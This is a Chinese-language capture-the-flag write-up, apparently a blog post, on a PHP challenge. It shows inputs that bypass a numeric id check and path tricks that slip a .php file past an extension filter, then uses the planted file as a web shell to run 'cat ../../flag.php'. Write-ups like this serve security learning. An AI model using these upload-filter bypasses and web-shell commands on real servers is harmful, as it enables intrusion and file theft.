这道题确实也卡了很久 垮了垮了
话不多说直接找到view source.php审代码吧
先看这段
要你:
(1)floatval($ _ GET [id])!==‘1’ //浮点不为1
(2)substr($ _ GET [id],-1)===‘9‘ //id最后一位为9
构造:
1 9
1-9
都可以绕过去。
大骨头是这个代码
1.首先是preg_match函数通配符限制,文件名尾不能是p/tml这些,但这种只匹配最后一个点的后缀,可以写入两次.php。
2.其次一个chdir重置了一个新的文件目录,也是说之前咱们是在backup,现在要去uploaded目录下了。这边有一个坑坑就是你们应该也会发现了。
3.其他的没有了,挑战一天挣两万,今天腰疼不管干!
构造一波:
file=p.php/.&con=
访问/uploaded/backup/p.php即可。
接下来换一个构造一句话或者像我这样:
file=…/123.php/1.php/…&con=
直接再访问/uploaded/123.php?bash=cat ../../flag.php
查看源码就有flag了.